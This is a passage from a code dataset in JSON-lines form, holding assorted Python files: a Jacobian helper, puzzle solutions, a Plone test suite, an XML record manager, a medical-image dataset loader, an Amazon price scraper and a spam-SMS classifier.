x[2] + x[3] + x[5],\n x[3] + x[4] + x[5],\n x[4] + x[5] + x[6]]),\n shape = (5, 7)) #,\n # indices = np.array([0, 1, 6,\n # 1, 2, 6,\n # 2, 3, 5,\n # 3, 4, 5,\n # 4, 5, 6]),\n # indptr = np.array([0, 3, 6, 9, 12, 15]))\n\n test.assign_sparsity_pattern([[0, 1, 6], [1, 2, 6], [2, 3, 5], [3, 4, 5], [4, 5, 6]])\n\n test.precision = 1.0e-11\n print(test.dirs)\n print(test(np.ones(7)).todense())\n\n test.always_to_scipy = False\n print(test(np.ones(7)))\n","repo_name":"berlinade/python-transient-gas-network-simulator","sub_path":"paso/differentiation/util/jacobian_csr_handler.py","file_name":"jacobian_csr_handler.py","file_ext":"py","file_size_in_byte":6468,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23497135511","text":"#!/usr/bin/python\n\nimport sys\n\ndef count_flip(s):\n count = 0\n tmp = s[0]\n for i in range(1, len(s)):\n if s[i] != tmp:\n count += 1\n tmp = s[i]\n if tmp != \"+\":\n count += 1\n return count\n\ndef main():\n input_file = sys.argv[1]\n output_file = sys.argv[2]\n with open(input_file, \"r\") as input, open(output_file, \"w\") as output:\n t = int(input.readline())\n for i in range(1, t + 1):\n c = count_flip(input.readline().rstrip())\n output.write(\"Case #{}: {}\\n\".format(i, c))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_178/3125.py","file_name":"3125.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41641306565","text":"# -*- coding: utf-8 -*-\nfrom plone.app.blob.tests.layer import BlobLayer\nfrom plone.app.blob.tests.layer import BlobLinguaLayer\nfrom plone.app.blob.tests.layer import BlobReplacementLayer\nfrom plone.app.blob.tests.utils import hasLinguaPlone\nfrom plone.testing import layered\n\nimport doctest\nimport unittest\n\n\ndef test_suite():\n optionflags = (doctest.ELLIPSIS | doctest.NORMALIZE_WHITESPACE)\n suite = unittest.TestSuite()\n suite.addTest(layered(\n doctest.DocFileSuite(\n 'README.txt', package='plone.app.blob',\n optionflags=optionflags,\n ),\n layer=BlobLayer,\n ))\n\n for filename in ['replacement-types.txt', 'transforms.txt']:\n suite.addTest(layered(\n doctest.DocFileSuite(\n filename, package='plone.app.blob.tests',\n optionflags=optionflags,\n ),\n layer=BlobReplacementLayer,\n ))\n\n if hasLinguaPlone():\n suite.addTest(layered(\n doctest.DocFileSuite(\n 'linguaplone.txt', package='plone.app.blob.tests',\n optionflags=optionflags,\n ),\n layer=BlobLinguaLayer,\n ))\n return suite\n","repo_name":"frotundo/senaite22test","sub_path":"buildout-cache/eggs/cp27mu/plone.app.blob-1.8.2-py2.7.egg/plone/app/blob/tests/test_doctests.py","file_name":"test_doctests.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19149140500","text":"import xml.etree.ElementTree as ET\n\ntree = ET.parse('student.xml')\nroot = tree.getroot()\n\nprint(\"\\n\\n\\t\\tXML FILE HANDLING\")\nprint(\"\\t\\t-----------------\\n\\n\")\n\n\nprint('Student Details')\nprint('---------------\\n')\n\nfor elem in root:\n for subelem in elem:\n print(subelem.attrib, \" : \", subelem.text)\n print('\\n')\n\nid = \"\"\nname = \"\"\nprogram = \"\"\ngrade = \"\"\ndept = \"\"\n\n\ndef check_id():\n x = False\n while(x == False):\n id = input('Enter ID : ')\n if(id.isdigit() == True and len(id) == 7):\n return id\n else:\n print('Invalid ID')\n\n\ndef check_name():\n x = False\n while(x == False):\n name = input('Enter Name : ')\n if(name.isalpha()):\n return name\n else:\n print('Invalid Name')\n\n\ndef check_program():\n x = False\n p = ['BCA', 'BBA', 'MCA', 'MBA', 'BCom']\n while(x == False):\n program = input('Enter Program : ')\n if(program in p):\n return program\n else:\n print('Invalid Program')\n\n\ndef check_grade():\n x = False\n p = ['A', 'B', 'C', 'D']\n while(x == False):\n grade = input('Enter Grade : ')\n if(grade in p):\n return grade\n else:\n print('Invalid Grade')\n\n\ndef check_dept():\n x = False\n p = ['Computer', 'Mathematics', 'Physics',\n 'Chemistry', 'Arts', 'Commerce', 'Humanities']\n while(x == False):\n dept = input('Enter Department : ')\n if(dept in p):\n return dept\n else:\n print('Invalid Department')\n\n\nanswer = 'y'\n\nwhile(answer == 'y'):\n print('\\n\\nCHOOSE FROM MENU')\n print('1. Add a student')\n print('2. Modify student details')\n print('3. Add an employee')\n print('4. Modify employee details')\n print('5. Show Details\\n')\n choice = input('Choice : ')\n\n if(choice == '1'):\n id = check_id()\n print('\\n')\n name = check_name()\n print('\\n')\n program = check_program()\n print('\\n')\n grade = check_grade()\n\n child = ET.SubElement(root, 'child')\n i1 = ET.SubElement(child, 'ID')\n i2 = ET.SubElement(child, 'sname')\n i3 = ET.SubElement(child, 'program')\n i4 = ET.SubElement(child, 'grade')\n\n i1.set('name', 'ID')\n i1.text = id\n i2.set('name', 'Name')\n i2.text = name\n i3.set('name', 'Program')\n i3.text = program\n i4.set('name', 'Grade')\n i4.text = grade\n\n mydata = ET.tostring(root)\n with open(\"student.xml\", \"wb\") as f:\n f.write(mydata)\n\n print('Student added successfully')\n\n elif(choice == '2'):\n n = input('\\nEnter the student name whose details has to be modified : ')\n i = 0\n for child in root.findall('child'):\n na = child.find('sname').text\n if(n == na):\n i = 1\n print('\\nChoose the detail to be modified')\n print('1. ID')\n print('2. Name')\n print('3. Program')\n print('4. Grade')\n c = input('Choice : ')\n\n if(c == '1'):\n id = check_id()\n b = child.find('ID')\n b.text = id\n mydata = ET.tostring(root)\n with open(\"student.xml\", \"wb\") as f:\n f.write(mydata)\n print('ID modified successfully')\n\n elif(c == '2'):\n name = check_name()\n b = child.find('sname')\n b.text = name\n mydata = ET.tostring(root)\n with open(\"student.xml\", \"wb\") as f:\n f.write(mydata)\n print('Name modified successfully')\n\n elif(c == '3'):\n program = check_program()\n b = child.find('program')\n b.text = program\n mydata = ET.tostring(root)\n with open(\"student.xml\", \"wb\") as f:\n f.write(mydata)\n print('Program modified successfully')\n\n elif(c == '4'):\n grade = check_grade()\n b = child.find('grade')\n b.text = grade\n mydata = ET.tostring(root)\n with open(\"student.xml\", \"wb\") as f:\n f.write(mydata)\n print('Grade modified successfully')\n\n else:\n print('Invalid choice')\n break\n\n if(i == 0):\n print('Student not found')\n\n elif(choice == '3'):\n id = check_id()\n name = check_name()\n dept = check_dept()\n\n child = ET.SubElement(root, 'employee')\n i1 = ET.SubElement(child, 'ID')\n i2 = ET.SubElement(child, 'ename')\n i3 = ET.SubElement(child, 'dept')\n\n i1.set('name', 'ID')\n i1.text = id\n i2.set('name', 'Name')\n i2.text = name\n i3.set('name', 'Department')\n i3.text = dept\n\n mydata = ET.tostring(root)\n with open(\"student.xml\", \"wb\") as f:\n f.write(mydata)\n\n print('\\nEmployee added successfully')\n\n elif(choice == '4'):\n n = input('\\nEnter the employee name whose details has to be modified : ')\n i = 0\n for child in root.findall('employee'):\n na = child.find('ename').text\n if(n == na):\n i = 1\n print('\\nChoose the detail to be modified')\n print('1. ID')\n print('2. Name')\n print('3. Department')\n c = input('Choice : ')\n\n if(c == '1'):\n id = check_id()\n b = child.find('ID')\n b.text = id\n mydata = ET.tostring(root)\n with open(\"student.xml\", \"wb\") as f:\n f.write(mydata)\n print('ID modified successfully')\n\n elif(c == '2'):\n name = check_name()\n b = child.find('ename')\n b.text = name\n mydata = ET.tostring(root)\n with open(\"student.xml\", \"wb\") as f:\n f.write(mydata)\n print('Name modified successfully')\n\n elif(c == '3'):\n dept = check_dept()\n b = child.find('dept')\n b.text = dept\n mydata = ET.tostring(root)\n with open(\"student.xml\", \"wb\") as f:\n f.write(mydata)\n print('Department modified successfully')\n\n else:\n print('Invalid choice')\n break\n\n if(i == 0):\n print('Employee not found')\n\n elif(choice == '5'):\n for elem in root:\n for subelem in elem:\n print(subelem.attrib, \" : \", subelem.text)\n print('\\n')\n\n else:\n print('Invalid Choice')\n\n answer = input('\\n\\nDo you want to try other options (y/n) : ')\n","repo_name":"CHINASH29/hello-world","sub_path":"LAB_PRGMS/Pg11.py","file_name":"Pg11.py","file_ext":"py","file_size_in_byte":7216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71836063874","text":"def pascal(p):\n rows = [[1], [1, 1]]\n\n for _ in range(1, p):\n row = [1]\n lastRow = rows[-1]\n for j in range(len(lastRow) - 1):\n row += [sum(lastRow[j:j+2])]\n row += [1]\n rows += [row]\n return rows[:p]\n\n### TESTS ###\npascal(5)","repo_name":"codeAligned/codingChallenges","sub_path":"codewars/pascalsTriangle.py","file_name":"pascalsTriangle.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3902497635","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jun 23 17:40:46 2020\r\n\r\n@author: Brent Kotzee\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\nimport re\r\nfrom pandas.core.common import flatten\r\nimport datetime\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits import mplot3d\r\nfrom fucs import GETPMI,GetData, GetJobs, GetCum, GetPAI,GetAVA,GetaccC\r\n#takes the data thats availiable to print and takes the orgin and destination and time \r\n#thse values can be set to defualt\r\n#name from jobs input\r\ndef PMI(df,orginIN,destinationIN,timeIN,i,name):\r\n stop = 1\r\n \r\n while stop < 3:\r\n pmi = []\r\n Accs = []\r\n AccC = []\r\n OriginToAll = []\r\n AV = []\r\n \r\n \r\n data= df.loc[(df[\"Origin\"].isin( [str(orginIN)])) & (df[\"Dest\"].isin( [str(destinationIN)] )) & (df[\"Time\"].isin([str(timeIN[i] ) ] ) )]\r\n print(data)\r\n pmi.append(GETPMI(data[\"Total_Trav\"].values[0],data[\"Shape_Leng\"].values[0] ))\r\n #calculates the PMI form the orgin to all other destincation for the users given input time or times\r\n \"\"\"\r\n print(\"Please type in the TimeOfDay you want for cum anal (hh:mm:ss):\\n\")\r\n print(sorted( list( dict.fromkeys( df[\"Time\"].tolist() ) ) ) )\r\n \"\"\"\r\n timeI = [timeIN[i]]\r\n timeIN=[timeIN[i]]\r\n if (\",\" in timeI):\r\n timeI =timeI.split(\",\")\r\n for i in range(len(timeI)): \r\n sub = df.loc[df[\"Origin\"].isin([str(orginIN)]) &(df[\"Time\"].isin([timeI[i]]))]\r\n data= df.loc[(df[\"Origin\"].isin( [str(orginIN)])) & (df[\"Dest\"].isin( [str(destinationIN)] )) & (df[\"Time\"].isin([str(timeI[i] ) ] ) )]\r\n t = sub['Total_Trav'].sum()\r\n d = sub['Shape_Leng'].sum()\r\n OriginToAll.append(GETPMI(t, d))\r\n AV.append((data[ \"Total_Trav\" ].values[0]))\r\n \r\n Accs = Accs + GetData(orginIN, timeIN, destinationIN,df,name) \r\n AccC = AccC + GetaccC(orginIN, timeIN, destinationIN,df,name)\r\n \r\n #the graphing section\r\n Hour=[]\r\n for i in range(len(timeIN)):\r\n (h,m,s) = timeIN[i].split(':')\r\n Hour.append(int(h))\r\n #--------------------------------------------------------------------------\r\n #now plot parameter with time,availablity and accessibilty as the axis\r\n #from mpl_toolkits import mplot3d\r\n #import numpy as np\r\n # import matplotlib.pyplot as plt\r\n \"\"\"\r\n fig = plt.figure()\r\n ax = mplot3d.Axes3D(fig)\r\n ax.set_xlim3d(0, max(pmi))\r\n ax.set_ylim3d(0, max(Accs))\r\n ax.set_zlim3d(0, max(Hour))\r\n #ax.view_init(30, 360)\r\n ax.set_xlabel('Potential Mobiltiy Index ')\r\n ax.set_ylabel('Availabilty')\r\n ax.set_zlabel('Time')\r\n \r\n \r\n z_points = Hour\r\n x_points = pmi\r\n y_points = Accs\r\n ax.scatter3D(x_points, y_points, z_points, c=\"black\", cmap='hsv');\r\n ax.plot3D(x_points, y_points, z_points, c=\"black\");\r\n \r\n plt.show()\r\n \"\"\" \r\n pai = GetPAI(orginIN, timeIN, destinationIN, df, name)\r\n \"\"\" \r\n fig = plt.figure()\r\n ax = mplot3d.Axes3D(fig)\r\n ax.set_xlim3d(0, max(pai))\r\n ax.set_ylim3d(0, max(Accs))\r\n ax.set_zlim3d(0, max(Hour))\r\n #ax.view_init(30, 360)\r\n ax.set_xlabel('Potential Mobiltiy Index ')\r\n ax.set_ylabel('Availabilty')\r\n ax.set_zlabel('Time')\r\n \r\n \r\n z_points = Hour\r\n x_points = pai\r\n y_points = Accs\r\n ax.scatter3D(x_points, y_points, z_points, c=\"black\", cmap='hsv');\r\n ax.plot3D(x_points, y_points, z_points, c=\"black\");\r\n \r\n plt.show()\r\n \"\"\" \r\n asscum = GetCum(timeI, destinationIN, df, name, orginIN)\r\n Hour=[]\r\n for i in range(len(timeI)):\r\n (h,m,s) = timeI[i].split(':')\r\n Hour.append(int(h))\r\n \r\n \"\"\"\r\n #import numpy as np\r\n fig = plt.figure()\r\n ax = mplot3d.Axes3D(fig)\r\n ax.set_xlim3d(0, max(OriginToAll))\r\n ax.set_ylim3d(0, max(asscum))\r\n ax.set_zlim3d(0, max(Hour))\r\n #ax.view_init(30, 360)\r\n ax.set_xlabel('Potential Mobiltiy Index (all directions)')\r\n ax.set_ylabel('Availabilty cum')\r\n ax.set_zlabel('Time')\r\n \r\n \r\n z_points = Hour\r\n x_points = OriginToAll\r\n y_points = asscum\r\n ax.scatter3D(x_points, y_points, z_points, c=\"black\", cmap='hsv');\r\n ax.plot3D(x_points, y_points, z_points, c=\"black\");\r\n \r\n plt.show()\r\n\r\n print(\"DONE\")\r\n \"\"\"\r\n \r\n print(pmi)\r\n return Hour,OriginToAll,asscum,Accs,pai,pmi,AV,Accs\r\n stop = 3\r\n \r\n if stop == 1: \r\n print(df)\r\n #--------------------------------------------------------------------------\r\n #Get input parameters to display\r\n #if stop == 1:\r\n \"\"\"\r\n print(\"Please type in the TAZ Origin:\\n\")\r\n print( sorted( list( dict.fromkeys( df[\"Origin\"].tolist() ) ) ) )\r\n orginIN = input()\r\n \r\n print(\"Please type in the TAZ Destination:\\n\")\r\n print( sorted( list( dict.fromkeys( df[\"Dest\"].tolist() ) ) ) )\r\n destinationIN = input()\r\n \r\n print(\"Please type in the TimeOfDay(hh:mm:ss):\\n\")\r\n print( sorted( list( dict.fromkeys( df[\"Time\"].tolist() ) ) ) )\r\n timeIN = list(re.split('[,,\\s]',(input(\"Enter a multiple value: \"))))\r\n \"\"\"\r\n\r\n \"\"\"\r\n else:\r\n OrginQ = input(\"new orgin Type Y or N ?\")\r\n destinationQ = input(\"new destination Type Y or N ?\" )\r\n \r\n if (OrginQ == \"Y\") or (destinationQ == \"Y\") :\r\n OriginToAll= []\r\n print(\"Please type in the TAZ Origin:\\n\")\r\n print( sorted( list( dict.fromkeys( df[\"Origin\"].tolist() ) ) ) )\r\n orginIN = input()\r\n \r\n print(\"Please type in the TAZ Destination:\\n\")\r\n print( sorted( list( dict.fromkeys( df[\"Dest\"].tolist() ) ) ) )\r\n destinationIN = input()\r\n pmi = []#can prolly remove\r\n Accs = []#can proly remove\r\n timeIN = []\r\n \r\n print(\"Please type in the TimeOfDay(hh:mm:ss):\\n\")\r\n print( sorted( list( dict.fromkeys( df[\"Time\"].tolist() ) ) ) )\r\n print(\"Do you want the entire day?\")\r\n ans = input()\r\n if ans == \"Y\":\r\n #this can be replaced by the time list \r\n timeIN = ['0:00:00','1:00:00','2:00:00','3:00:00','4:00:00','5:00:00','6:00:00','7:00:00','8:00:00','9:00:00','10:00:00','11:00:00','12:00:00','13:00:00','14:00:00','15:00:00','16:00:00','17:00:00','18:00:00','19:00:00','20:00:00','21:00:00','22:00:00','23:00:00']\r\n else:\r\n timeIN = timeIN + list(re.split('[,,\\s]',(input(\"Enter a multiple value: \"))))\r\n timeIN = list(dict.fromkeys(timeIN))\r\n \"\"\" \r\n #extract the legth and time_trav to get and get the PMI value\r\n #calculate the PMI for each time of the day available, via the use of dictionaries","repo_name":"JacquesLom/LargeData-foranalysis","sub_path":"PMI.py","file_name":"PMI.py","file_ext":"py","file_size_in_byte":7361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16919488268","text":"from constants import *\nimport variables as var\nfrom networksConstruction.networksManager import NetworksManager\n\nclass Commit():\n def __init__(self, commitHash, commitAuthor, date):\n self.hash = commitHash\n self.date = date\n self.author = commitAuthor\n self.filesInCommit = []\n self.methodsInCommit = []\n \n def getLastAnalyzedFile(self):\n if len(self.filesInCommit) == 0: # happens in the case of removing a file that wasn't added as it was in a commit with >100 files\n return NON_EXISTENT_ITEM\n else:\n return self.filesInCommit[-1]\n \n def analyze(self):\n nm: NetworksManager = var.variablesDict[NET_MANAGER]\n if len(self.filesInCommit) > 0 and len(self.filesInCommit) < 100:\n self.author = nm.getOrCreateDeveloper(self.author)\n\n self.analyzeAux(FILE_TYPE, self.filesInCommit)\n if len(self.methodsInCommit) > 0 and len(self.methodsInCommit) < 100:\n self.analyzeAux(METHOD_TYPE, self.methodsInCommit)\n \n return True\n return False\n \n def analyzeAux(self, fileOrMethod, itemsInCommit):\n nm: NetworksManager = var.variablesDict[NET_MANAGER]\n nm.saveInfoInNets(fileOrMethod, self.author, self.date, itemsInCommit)\n nm.updateTimeline(fileOrMethod, self.author, self.date, itemsInCommit)\n nm.addItems(fileOrMethod, self.author, self.date, itemsInCommit)\n\n def addFileToCommit(self, file):\n self.filesInCommit += [file]\n\n def addMethodToCommit(self, method):\n self.methodsInCommit += [method]\n ","repo_name":"josemiguelpgomes/MasterThesis","sub_path":"code/networksConstruction/commit.py","file_name":"commit.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27263463563","text":"'''\n택배 상하차 중 메�� 컨테이너는 물품이 1부터 N개까지의 상자를 순서대로 갖다 준다.\n서브 컨테이너는 stack 형태로 작동된다.\n\n주어지는 상자 리스트대로 택배 차에 넣고자 할 때,\n택배 차에 넣을 수 있는 상자의 개수?\n'''\n\n'''\n아래 코드로는 100점 만점에 10점!\n'''\n'''\nfrom collections import deque\n\ndef solution(order):\n main_container = deque([i for i in range(1, len(order)+1)])\n sub_container = deque([])\n\n send_box = 0\n \n for i in order:\n if len(sub_container)>0 and len(main_container)>0 and i != sub_container[-1] and i != main_container[0]:\n break\n if len(sub_container)>0 and i == sub_container[-1]:\n sub_container.pop()\n send_box += 1\n else:\n while True:\n if len(main_container) == 0:\n break\n if i == main_container[0]:\n main_container.popleft()\n send_box += 1\n break\n else:\n sub_container.append(main_container.popleft())\n\n return send_box\n\nprint('solution is', solution([4, 3, 1, 2, 5])) # 2\nprint('solution is', solution([5, 4, 3, 2, 1])) # 5\nprint('solution is', solution([5, 3, 4, 2, 1])) # 1\nprint('solution is', solution([2, 4, 5, 3, 1])) # 5\n'''\n\n'''\n종료 후 다시 풀어서 test case는 맞췄습니다.\n'''\ndef solution(order):\n\n total_size = len(order)\n\n # main_container는 한 번 나오면 더 이상 되돌아가지 않으므로 integer로 관리 가능\n main_container = 1\n # sub_container는 stack으로 관리\n sub_container = []\n # 전체 order의 index\n index = 0\n # 상자 count\n result = 0\n\n while True:\n # sub_container에 아무것도 없고 main의 첫번째도 일치하지 않으면 sub에 넣어주기\n if len(sub_container) == 0 and main_container != order[index]:\n sub_container.append(main_container)\n main_container += 1\n # sub_container 마지막의 상자와 order가 일치하면 상자 보내기\n elif order[index] == sub_container[-1]:\n sub_container.pop()\n index += 1\n result += 1\n # 끝까지 보내면 탈출시키기\n if index == total_size:\n break\n # main_container 첫번째 상자와 order가 일치하면 상자 보내기\n elif order[index] == main_container:\n index += 1\n main_container += 1\n result += 1\n # 아무것도 일치하지 않으면 sub에 넣어주기\n else:\n # 끝까지 아무것도 없으면서 main_container가 초과했을 때 탈출시키기\n if main_container>total_size:\n break\n sub_container.append(main_container)\n main_container += 1\n\n return result\n\nprint('solution is', solution([4, 3, 1, 2, 5])) # 2\nprint('solution is', solution([5, 4, 3, 2, 1])) # 5\nprint('solution is', solution([5, 3, 4, 2, 1])) # 1\nprint('solution is', solution([2, 4, 5, 3, 1])) # 5","repo_name":"elice-02-study-01-algorithm/python","sub_path":"CJ_Kim/season2/programmers/test01/prob03.py","file_name":"prob03.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"32704494416","text":"from torch.utils.data.dataset import Dataset, T_co\r\nimport numpy as np\r\nimport glob\r\nimport os\r\nfrom PIL import Image\r\n\r\n\r\n# 传入512*512图片,返回剪裁后并归一化的的numpy数组\r\ndef get_clip_arr(img):\r\n img = img.resize((512,512))\r\n img = img.convert('L')\r\n return np.array(img, dtype='float32')[256:, 128:384] / 255\r\n\r\n\r\n# 从指定文件夹加载数据\r\ndef load_data_from_dir(dir_name, mode='L', positive=False):\r\n ct_arrs = []\r\n dir_names = glob.glob(f'./{dir_name}/train/*')\r\n print(f'正在加载train的图片中...')\r\n for i, name in enumerate(dir_names):\r\n for img_path in glob.glob(name + '/*.png'):\r\n img = Image.open(img_path)\r\n # 剪裁图片,直肠肿瘤只可能出现在直肠区域\r\n img_arr = get_clip_arr(img)\r\n ct_arrs.append(img_arr)\r\n print(f'加载train的图片完成')\r\n\r\n mask_arrs = []\r\n dir_names = glob.glob(f'./{dir_name}/label/*')\r\n print(f'正在加载label的图片中...')\r\n for i, name in enumerate(dir_names):\r\n for img_path in glob.glob(name + '/*.png'):\r\n img = Image.open(img_path)\r\n # 剪裁图片,直肠肿瘤只可能出现在直肠区域\r\n img_arr = get_clip_arr(img)\r\n mask_arrs.append(img_arr)\r\n print(f'加载label的图片完成')\r\n\r\n result_ct_arrs = []\r\n result_mask_arrs = []\r\n # 筛选有肿瘤的\r\n if positive:\r\n print('开始筛选')\r\n for i, img_arr in enumerate(mask_arrs):\r\n if np.any(img_arr > 0):\r\n result_ct_arrs.append(ct_arrs[i])\r\n result_mask_arrs.append(img_arr)\r\n print('筛选结束')\r\n else:\r\n result_ct_arrs = ct_arrs\r\n result_mask_arrs = mask_arrs\r\n\r\n result_ct_arrs = np.array(result_ct_arrs)\r\n result_ct_arrs = np.expand_dims(result_ct_arrs, axis=1)\r\n result_mask_arrs = np.array(result_mask_arrs)\r\n result_mask_arrs = np.expand_dims(result_mask_arrs, axis=1)\r\n\r\n return result_ct_arrs, result_mask_arrs\r\n\r\n\r\nclass CTDataset(Dataset):\r\n def __init__(self, kind='train', positive=False) -> None:\r\n self.kind = kind\r\n # 判断是否有现成的数据\r\n if os.path.exists('./dataset/dataset.npz'):\r\n self.data = self.load_data_from_npz()\r\n else:\r\n self.data = self.load_data_from_files(positive=positive)\r\n\r\n def __getitem__(self, index) -> T_co:\r\n return self.data['ct'][index], self.data['mask'][index]\r\n\r\n def get_random_item(self):\r\n index = np.random.randint(0, len(self) - 1)\r\n return self.__getitem__(index)\r\n\r\n def __len__(self):\r\n return len(self.data['ct'])\r\n\r\n # 从npz文件中加载数据\r\n def load_data_from_npz(self):\r\n print('正在加载.npz数据...')\r\n data = np.load('./dataset/dataset.npz', allow_pickle=True)\r\n print('数据加载完成')\r\n return {'ct': data[self.kind+'_ct'], 'mask': data[self.kind+'_mask']}\r\n\r\n # 从文件夹中加载数据\r\n def load_data_from_files(self, positive=False):\r\n ct_arrs, mask_arrs = load_data_from_dir('dataset', positive=positive)\r\n\r\n # 打乱数据集\r\n np.random.seed(116)\r\n np.random.shuffle(ct_arrs)\r\n np.random.seed(116)\r\n np.random.shuffle(mask_arrs)\r\n\r\n span = int(ct_arrs.shape[0]/10*9)\r\n # 9:1分割为训练集和测试集\r\n print(f'训练集shape:{ct_arrs[:span].shape},测试集shape:{ct_arrs[span:].shape}')\r\n train_data = {'ct': ct_arrs[:span], 'mask': mask_arrs[:span]}\r\n test_data = {'ct': ct_arrs[span:], 'mask': mask_arrs[span:]}\r\n np.savez('./dataset/dataset.npz', train_ct=train_data['ct'], train_mask=train_data['mask'], test_ct=test_data['ct'], test_mask=test_data['mask'],)\r\n if self.kind == 'train':\r\n return train_data\r\n else:\r\n return test_data\r\n\r\n\r\n# dataset = CTDataset()\r\n# print(dataset[0])\r\n#\r\n# a = np.array([[[1],[2]],[[2],[2]],[[3],[2]]])\r\n# print(a.shape)\r\n# b = np.expand_dims(a, axis=1)\r\n# print(b.shape)\r\n# print(b)\r\n","repo_name":"HeLingfei/Circle-UNet","sub_path":"utils/CTDataset.py","file_name":"CTDataset.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20241780901","text":"import time\nimport datetime\nimport pandas as pd\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nimport os\n\ndiretorio_atual = os.getcwd()\n\ndata_atual = datetime.date.today()\ntry:\n base_de_dados = pd.read_excel(f\"Celulares{data_atual}.xlsx\")\n print(\"Planilha já existente\")\nexcept:\n dados = {\"Marca\": [], \"Preço\":[]}\n\n url = \"https://www.amazon.com.br/s?k=celular+xiaomi&page=1&ref=sr_pg_1\"\n\n chromedriver_path = r\"/chromedriver\"\n\n option = Options()\n option.add_argument('--headless')\n\n service = Service(executable_path=chromedriver_path)\n\n # driver = webdriver.Chrome(service=service, options=option)\n driver = webdriver.Chrome(service=service)\n\n driver.get(url)\n\n time.sleep(7)\n\n ultima_pagina = int(driver.find_element(By.XPATH, '//*[@id=\"search\"]/div[1]/div[1]/div/span[1]/div[1]/div[64]/div/div/span/span[4]').text)\n\n\n\n for i in range(1,ultima_pagina + 1):\n driver.get(f'https://www.amazon.com.br/s?k=celular+xiaomi&page={i}&ref=sr_pg_{i}')\n produtos = driver.find_elements(By.CSS_SELECTOR, \".a-section.a-spacing-base\")\n\n print(f'\\n Página {i} \\n')\n\n for produto in produtos:\n try:\n produto_name = produto.find_element(By.CSS_SELECTOR, \"span.a-text-normal\").text\n produto_price = produto.find_element(By.CSS_SELECTOR, \".a-price-whole\").text\n except:\n produto_price = \"Sem preço\"\n \n dados[\"Marca\"].append(produto_name)\n dados[\"Preço\"].append(produto_price)\n \n time.sleep(5)\n \n df = pd.DataFrame(dados)\n\n nome_arquivo_excel = os.path.join(diretorio_atual, f'Celulares{data_atual}.xlsx')\n\n df.to_excel(nome_arquivo_excel, index=False)\n\n driver.quit()\n","repo_name":"iure06/Aprendizado","sub_path":"Aprendendo-web-scraping-com-python/celular_scraper.py","file_name":"celular_scraper.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16656680718","text":"# 导入相关的包\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\nimport os\r\nos.environ[\"HDF5_USE_FILE_LOCKING\"] = \"FALSE\"\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# 数据集的路径\r\ndata_path = \"./datasets/5f9ae242cae5285cd734b91e-momodel/sms_pub.csv\"\r\n# 读取数据\r\nsms = pd.read_csv(data_path, encoding='utf-8')\r\n\r\ndef read_stopwords(stopwords_path):\r\n \"\"\"\r\n 读取停用词库\r\n :param stopwords_path: 停用词库的路径\r\n :return: 停用词列表\r\n \"\"\"\r\n with open(stopwords_path, 'r', encoding='utf-8') as f:\r\n stopwords = f.read()\r\n stopwords = stopwords.splitlines()\r\n return stopwords\r\n\r\n# 停用词库路径\r\nstopwords_path = r'scu_stopwords.txt'\r\n# 读取停用词\r\nstopwords = read_stopwords(stopwords_path)\r\n\r\n# 导入 TfidfVectorizer\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\ntfidf = TfidfVectorizer(token_pattern=r\"(?u)\\b\\w+\\b\", stop_words=stopwords)\r\n\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nX = np.array(sms.msg_new)\r\ny = np.array(sms.label)\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=42, test_size=0.1)\r\nprint(\"总共的数据大小\", X.shape)\r\nprint(\"训练集数据大小\", X_train.shape)\r\nprint(\"测试集数据大小\", X_test.shape)\r\n\r\n# 以 CountVectorizer 为例将数据集向量化\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\n# 设置匹配的正则表达式和停用词\r\nvect = CountVectorizer(token_pattern=r\"(?u)\\b\\w+\\b\", stop_words=stopwords)\r\nX_train_dtm = vect.fit_transform(X_train)\r\nX_test_dtm = vect.transform(X_test)\r\n\r\nfrom sklearn.pipeline import Pipeline\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.naive_bayes import MultinomialNB\r\n\r\npipeline = Pipeline([\r\n ('tfidf', TfidfVectorizer(token_pattern=r\"(?u)\\b\\w+\\b\", stop_words=stopwords)),\r\n ('classifier', MultinomialNB()),\r\n])\r\n\r\npipeline.fit(X_train, y_train)\r\ny_pred = pipeline.predict(X_test)","repo_name":"Stupid-wangnz/ZJU-AI","sub_path":"垃圾短信识别/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"35168655400","text":"def solution(arg):\n arg.append(0)\n a = 0\n index = 0\n while index < len(arg) - 1:\n while arg[index] + 1 == arg[index + 1]:\n a += 1\n if a == 1:\n range_start = 